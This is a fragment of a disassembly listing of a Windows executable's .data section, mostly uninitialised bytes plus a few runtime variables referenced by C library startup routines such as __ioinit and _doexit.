.data:00408194                 db    ? ;
.data:00408195                 db    ? ;
.data:00408196                 db    ? ;
.data:00408197                 db    ? ;
.data:00408198                 db    ? ;
.data:00408199                 db    ? ;
.data:0040819A                 db    ? ;
.data:0040819B                 db    ? ;
.data:0040819C                 db    ? ;
.data:0040819D                 db    ? ;
.data:0040819E                 db    ? ;
.data:0040819F                 db    ? ;
.data:004081A0                 db    ? ;
.data:004081A1                 db    ? ;
.data:004081A2                 db    ? ;
.data:004081A3                 db    ? ;
.data:004081A4                 db    ? ;
.data:004081A5                 db    ? ;
.data:004081A6                 db    ? ;
.data:004081A7                 db    ? ;
.data:004081A8                 db    ? ;
.data:004081A9                 db    ? ;
.data:004081AA                 db    ? ;
.data:004081AB                 db    ? ;
.data:004081AC                 db    ? ;
.data:004081AD                 db    ? ;
.data:004081AE                 db    ? ;
.data:004081AF                 db    ? ;
.data:004081B0                 db    ? ;
.data:004081B1                 db    ? ;
.data:004081B2                 db    ? ;
.data:004081B3                 db    ? ;
.data:004081B4                 db    ? ;
.data:004081B5                 db    ? ;
.data:004081B6                 db    ? ;
.data:004081B7                 db    ? ;
.data:004081B8                 db    ? ;
.data:004081B9                 db    ? ;
.data:004081BA                 db    ? ;
.data:004081BB                 db    ? ;
.data:004081BC                 db    ? ;
.data:004081BD                 db    ? ;
.data:004081BE                 db    ? ;
.data:004081BF                 db    ? ;
.data:004081C0                 db    ? ;
.data:004081C1                 db    ? ;
.data:004081C2                 db    ? ;
.data:004081C3                 db    ? ;
.data:004081C4                 db    ? ;
.data:004081C5                 db    ? ;
.data:004081C6                 db    ? ;
.data:004081C7                 db    ? ;
.data:004081C8                 db    ? ;
.data:004081C9                 db    ? ;
.data:004081CA                 db    ? ;
.data:004081CB                 db    ? ;
.data:004081CC                 db    ? ;
.data:004081CD                 db    ? ;
.data:004081CE                 db    ? ;
.data:004081CF                 db    ? ;
.data:004081D0                 db    ? ;
.data:004081D1                 db    ? ;
.data:004081D2                 db    ? ;
.data:004081D3                 db    ? ;
.data:004081D4                 db    ? ;
.data:004081D5                 db    ? ;
.data:004081D6                 db    ? ;
.data:004081D7                 db    ? ;
.data:004081D8                 db    ? ;
.data:004081D9                 db    ? ;
.data:004081DA                 db    ? ;
.data:004081DB                 db    ? ;
.data:004081DC                 db    ? ;
.data:004081DD                 db    ? ;
.data:004081DE                 db    ? ;
.data:004081DF                 db    ? ;
.data:004081E0                 db    ? ;
.data:004081E1                 db    ? ;
.data:004081E2                 db    ? ;
.data:004081E3                 db    ? ;
.data:004081E4                 db    ? ;
.data:004081E5                 db    ? ;
.data:004081E6                 db    ? ;
.data:004081E7                 db    ? ;
.data:004081E8                 db    ? ;
.data:004081E9                 db    ? ;
.data:004081EA                 db    ? ;
.data:004081EB                 db    ? ;
.data:004081EC                 db    ? ;
.data:004081ED                 db    ? ;
.data:004081EE                 db    ? ;
.data:004081EF                 db    ? ;
.data:004081F0                 db    ? ;
.data:004081F1                 db    ? ;
.data:004081F2                 db    ? ;
.data:004081F3                 db    ? ;
.data:004081F4                 db    ? ;
.data:004081F5                 db    ? ;
.data:004081F6                 db    ? ;
.data:004081F7                 db    ? ;
.data:004081F8                 db    ? ;
.data:004081F9                 db    ? ;
.data:004081FA                 db    ? ;
.data:004081FB                 db    ? ;
.data:004081FC                 db    ? ;
.data:004081FD                 db    ? ;
.data:004081FE                 db    ? ;
.data:004081FF                 db    ? ;
.data:00408200                 db    ? ;
.data:00408201                 db    ? ;
.data:00408202                 db    ? ;
.data:00408203                 db    ? ;
.data:00408204                 db    ? ;
.data:00408205                 db    ? ;
.data:00408206                 db    ? ;
.data:00408207                 db    ? ;
.data:00408208                 db    ? ;
.data:00408209                 db    ? ;
.data:0040820A                 db    ? ;
.data:0040820B                 db    ? ;
.data:0040820C                 db    ? ;
.data:0040820D                 db    ? ;
.data:0040820E                 db    ? ;
.data:0040820F                 db    ? ;
.data:00408210                 db    ? ;
.data:00408211                 db    ? ;
.data:00408212                 db    ? ;
.data:00408213                 db    ? ;
.data:00408214                 db    ? ;
.data:00408215                 db    ? ;
.data:00408216                 db    ? ;
.data:00408217                 db    ? ;
.data:00408218                 db    ? ;
.data:00408219                 db    ? ;
.data:0040821A                 db    ? ;
.data:0040821B                 db    ? ;
.data:0040821C                 db    ? ;
.data:0040821D                 db    ? ;
.data:0040821E                 db    ? ;
.data:0040821F                 db    ? ;
.data:00408220                 db    ? ;
.data:00408221                 db    ? ;
.data:00408222                 db    ? ;
.data:00408223                 db    ? ;
.data:00408224                 db    ? ;
.data:00408225                 db    ? ;
.data:00408226                 db    ? ;
.data:00408227                 db    ? ;
.data:00408228                 db    ? ;
.data:00408229                 db    ? ;
.data:0040822A                 db    ? ;
.data:0040822B                 db    ? ;
.data:0040822C                 db    ? ;
.data:0040822D                 db    ? ;
.data:0040822E                 db    ? ;
.data:0040822F                 db    ? ;
.data:00408230                 db    ? ;
.data:00408231                 db    ? ;
.data:00408232                 db    ? ;
.data:00408233                 db    ? ;
.data:00408234                 db    ? ;
.data:00408235                 db    ? ;
.data:00408236                 db    ? ;
.data:00408237                 db    ? ;
.data:00408238                 db    ? ;
.data:00408239                 db    ? ;
.data:0040823A                 db    ? ;
.data:0040823B                 db    ? ;
.data:0040823C                 db    ? ;
.data:0040823D                 db    ? ;
.data:0040823E                 db    ? ;
.data:0040823F                 db    ? ;
.data:00408240                 db    ? ;
.data:00408241                 db    ? ;
.data:00408242                 db    ? ;
.data:00408243                 db    ? ;
.data:00408244                 db    ? ;
.data:00408245                 db    ? ;
.data:00408246                 db    ? ;
.data:00408247                 db    ? ;
.data:00408248                 db    ? ;
.data:00408249                 db    ? ;
.data:0040824A                 db    ? ;
.data:0040824B                 db    ? ;
.data:0040824C                 db    ? ;
.data:0040824D                 db    ? ;
.data:0040824E                 db    ? ;
.data:0040824F                 db    ? ;
.data:00408250                 db    ? ;
.data:00408251                 db    ? ;
.data:00408252                 db    ? ;
.data:00408253                 db    ? ;
.data:00408254                 db    ? ;
.data:00408255                 db    ? ;
.data:00408256                 db    ? ;
.data:00408257                 db    ? ;
.data:00408258                 db    ? ;
.data:00408259                 db    ? ;
.data:0040825A                 db    ? ;
.data:0040825B                 db    ? ;
.data:0040825C                 db    ? ;
.data:0040825D                 db    ? ;
.data:0040825E                 db    ? ;
.data:0040825F                 db    ? ;
.data:00408260                 db    ? ;
.data:00408261                 db    ? ;
.data:00408262                 db    ? ;
.data:00408263                 db    ? ;
.data:00408264                 db    ? ;
.data:00408265                 db    ? ;
.data:00408266                 db    ? ;
.data:00408267                 db    ? ;
.data:00408268                 db    ? ;
.data:00408269                 db    ? ;
.data:0040826A                 db    ? ;
.data:0040826B                 db    ? ;
.data:0040826C                 db    ? ;
.data:0040826D                 db    ? ;
.data:0040826E                 db    ? ;
.data:0040826F                 db    ? ;
.data:00408270                 db    ? ;
.data:00408271                 db    ? ;
.data:00408272                 db    ? ;
.data:00408273                 db    ? ;
.data:00408274                 db    ? ;
.data:00408275                 db    ? ;
.data:00408276                 db    ? ;
.data:00408277                 db    ? ;
.data:00408278                 db    ? ;
.data:00408279                 db    ? ;
.data:0040827A                 db    ? ;
.data:0040827B                 db    ? ;
.data:0040827C                 db    ? ;
.data:0040827D                 db    ? ;
.data:0040827E                 db    ? ;
.data:0040827F                 db    ? ;
.data:00408280 ; UINT uNumber
.data:00408280 uNumber         dd ?                    ; DATA XREF: __ioinit+28w
.data:00408280                                         ; __ioinit:loc_402EBDr ...
.data:00408284 dword_408284    dd ?                    ; DATA XREF: __setenvp+ADw
.data:00408288 dword_408288    dd ?                    ; DATA XREF: __wincmdlnr
.data:00408288                                         ; __setenvp+3r ...
.data:0040828C dword_40828C    dd ?                    ; DATA XREF: _doexit+43r
.data:00408290 dword_408290    dd ?                    ; DATA XREF: _doexit+3Ar
.data:00408290                                         ; _doexit+5Cr
.data:00408294 dword_408294    dd ?                    ; DATA XREF: __cinitr
.data:00408298 dword_408298    dd ?                    ; DATA XREF: _tolower+2Cr
.data:00408298                                         ; __strcmpi+5Ar ...
.data:0040829C ; __int32 Addend
.data:0040829C Addend          dd ?                    ; DATA XREF: _tolower+1Fo
.data:0040829C                                         ; __strcmpi:loc_404B83w ...
.data:004082A0 dword_4082A0    dd ?                    ; DATA XREF: start+8Cw
.data:004082A0                                         ; __wincmdln+Fr ...
.data:004082A0 _data           ends
.data:004082A0
.data:004082A0
.data:004082A0                 end start